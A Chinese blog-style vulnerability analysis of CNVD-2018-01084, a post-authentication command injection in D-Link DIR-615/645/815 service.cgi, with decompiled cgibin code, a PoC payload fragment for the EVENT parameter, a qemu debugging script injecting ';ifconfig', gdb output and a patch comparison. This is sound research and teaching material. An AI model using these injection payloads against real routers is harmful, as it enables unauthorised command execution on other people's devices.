D-Link service.cgi远程命令执行漏洞分析

raycp / 2019-10-16 09:22:25 / 浏览数 3625 安全技术 漏洞分析 顶(0) 踩(0)

上篇文章分析了信息泄露漏洞，可以获取到密码等信息。此次主要是基于上篇文章的认证，分析该系列设备的认证后的命令执行执行漏洞，该漏洞形成的原因是由于service.cgi接口对HTTP POST请求中的数据不当，形成命令拼接，导致可执行任意命令。

漏洞描述

该漏洞编号为CNVD-2018-01084，受影响的型号包括D-Link DIR 615、D-Link DIR 645 、D-Link DIR 815，受影响的固件版本为1.03及之前。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据，造成后台命令拼接，导致可执行任意命令。

漏洞分析

此次的分析仍然是基于dir-645，去官网下载1.03的固件，下载1.04的固件

根据公开的exp中的信息，关键poc如下：

```
post_content = "EVENT=CHECKFW%26" + command + "%26"
...
URL + "/service.cgi"
```

关键信息为EVENT参数以及service.cgi页面，上篇文章中我们已经知道处理cgi的程序为cgibin，因此主要分析cgibin，看它是如何处理post过去的参数的。

binwalk -Me dir.bin提取固件，cgibin的文件路径为htdocs/cgibin。

静态分析

将cgibin拖入到IDA与ghidra中进行分析。

```
iVar1 = strcmp(argv0,"service.cgi");
if (iVar1 == 0) {
UNRECOVERED_JUMPTABLE = servicecgi_main;
}
```

可以看到service.cgi对应的处理函数为servicecgi_main，跟进去该函数，关键代码如下：

```
memset(acStack280,0,0x100);
 request_method_ptr = getenv("REQUEST_METHOD");
 if (request_method_ptr == (char *)0x0) {
   __format = "No HTTP request";
   goto LAB_0040cf48;
 }
 iVar4 = strcasecmp(request_method_ptr,"POST");
 if (iVar4 == 0) {
   uVar3 = 0x400;
LAB_0040ced0:
   iVar4 = cgibin_parse_request(FUN_0040d1cc,(astruct *)0x0,uVar3);
   if (iVar4 < 0) {
     __format = "Unable to parse HTTP request";
   }
   else {
     iVar4 = sess_ispoweruser();
     if (iVar4 != 0) {
       iVar2 = get_para("EVENT");
       request_method_ptr = (char *)get_para("ACTION");
       iVar4 = get_para("SERVICE");
       if (iVar2 == 0) {
         if ((iVar4 != 0) && (request_method_ptr != (char *)0x0)) {
           iVar2 = strcasecmp(request_method_ptr,"START");
           if (iVar2 == 0) {
             __format = "service %s start > /dev/null";
           }
           else {
             iVar2 = strcasecmp(request_method_ptr,"STOP");
             if (iVar2 == 0) {
               __format = "service %s stop > /dev/null";
             }
```

```
            else {
              iVar2 = strcasecmp(request_method_ptr,"RESTART");
              if (iVar2 != 0) {
                __format = "Unknown action - \'%s\'";
                goto LAB_0040cf00;
              }
              __format = "service %s restart > /dev/null";
            }
          }
          goto LAB_0040d038;
        }
      }
      else {
        __format = "event %s > /dev/null";
        iVar4 = iVar2;
LAB_0040d038:
        lxmldbc_system(__format,iVar4);
      }
```

首先判断REQUEST_METHOD，如果是POST的话则调用cgibin_parse_request去解析post参数，该函数也在上篇大致分析过，将参数解析并存入到内存当中，需要提下的

参数获取阶段主要是去获取三个参数EVENT、ACTION以及SERVICE的值，get_para的返回值是相应的参数值，不存在该参数时返回0。最后如果是EVENT参数存在则调用

```
void lxmldbc_system(char *format,char *para0,char *para1,char *para2)

{
 char *local_res4;
 char *local_res8;
 char *local_resc;
 char acStack1036 [1028];

 local_res4 = para0;
 local_res8 = para1;
 local_resc = para2;
 vsnprintf(acStack1036,0x400,format,&local_res4);
 system(acStack1036);
 return;
}
```

结合调用部分，可以函数使用vsnprintf函数将EVENT参数与格式化字符串event %s >
/dev/null构成命令后直接调用system去执行。由于对参数没有过滤且可控，所以形成了命令注入漏洞。

除了EVENT参数外，也可以使用ACTION以及SERVICE的组合进行命令注入。ACTION如果为START、RESTART以及STOP则会将SERVICE的参数构成命令service
%s start > /dev/null、service %s restart > /dev/null以及service %s stop > /dev/null，也可以通过SERVICE参数形成命令注入漏洞。

动态调试

接下来进行动态调试进行验证，用命令sudo ./cgi_run_service.sh启动，脚本内容如下：

```
#!/bin/bash
# sudo ./cgi_run.sh

INPUT=`python -c "print 'EVENT=;ifconfig%26'"`

LEN=$(echo $INPUT | wc -c)
PORT="1234"


if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
   echo -e "\nusage: sudo $0\n"
   exit 1
fi

cp $(which qemu-mipsel-static) ./qemu

echo "$INPUT"  | chroot .  ./qemu  -0 "/service.cgi" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded
echo "run ok"
rm -f ./qemu
```

由于只是调试单个脚本，所以无法拿到有效的cookie，在这里的做法是断点断在0x40CF34，即判断cookie是否有效的处，并将其手动修改成1，便可以继续往下执行，执行

```
.text:0040CF20 loc_40CF20:                             # CODE XREF: servicecgi_main+E4↑j
.text:0040CF20                 la      $t9, sess_ispoweruser
.text:0040CF24                 nop
.text:0040CF28                 jalr    $t9 ; sess_ispoweruser
.text:0040CF2C                 nop
.text:0040CF30                 lw      $gp, 0x130+var_120($sp)
.text:0040CF34                 bnez    $v0, loc_40CF58
```

整个动态调试的过程大致如下，可以看到lxmldbc_system参数为event %s > /dev/null以及;ifconfig&\n，最终构成命令;ifconfig&\n > /dev/null，命令注入的时候可以不用&来结束，用;也可以，为的是不要把执行结果重定向到/dev/null中，而是返回回来。

```
0x0040cf34 in servicecgi_main ()
(gdb) x/2i $pc
=> 0x40cf34 <servicecgi_main+316>:      bnez    v0,0x40cf58 <servicecgi_main+352>
  0x40cf38 <servicecgi_main+320>:      lui     a2,0x42
(gdb) i r $v0
v0: 0x0
(gdb) set $v0=1
(gdb) c
Continuing.
Breakpoint 1:
0x0040d038 in servicecgi_main ()
(gdb) x/2i $pc
=> 0x40d038 <servicecgi_main+576>:      jalr    t9
  0x40d03c <servicecgi_main+580>:      nop
(gdb) i r a0 a1
a0: 0x420d10
a1: 0x435108
(gdb) x/s $a0
0x420d10:       "event %s > /dev/null"
(gdb) x/s $a1
0x435108:       ";ifconfig&\n"
(gdb)
```

补丁比对

将1.04的cgibin进行分析，发现其关键部分代码发生了一定的变动，不再是使用lxmldbc_system调用system函数执行命令，而是将用户传入的参数，当成应用程序的参数

```
// ■■■■■ ■■■■■■FUN_0040ce38■■
                    else {
         __s1 = "/usr/sbin/event";
         __format = "event";
         pcVar4 = (char *)0x0;
         iVar5 = iVar2;
LAB_0040d180:
         FUN_0040ce38(__s1,__format,iVar5,pcVar4);
       }

//■■■■ FUN_0040ce38■■■■execel
undefined4 FUN_0040ce38(char *pcParm1,char *pcParm2,undefined4 uParm3,undefined4 uParm4)

{
 __pid_t __pid;
 int iVar1;
 undefined4 uVar2;

 __pid = fork();
 if ((-1 < __pid) && (__pid == 0)) {
   close(1);
   iVar1 = execl(pcParm1,pcParm2,uParm3,uParm4,0);
   if (iVar1 < 0) {
     return 0xffffffff;
   }
 }
```

小结

感觉dir系列的洞还挺多的，大概率最新版的固件里面应该也有问题。

相关文件和代码链接

参考链接

1. 路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现
2. dlink_auth_rce
3. 路由器漏洞复现分析第二弹：CNVD-2018-01084

上一篇：v8-Math.expm1-OOB... 下一篇：用python连接冰蝎的代码实现(一)

1. 0 条回复
   - 动动手指，沙发就是你的了！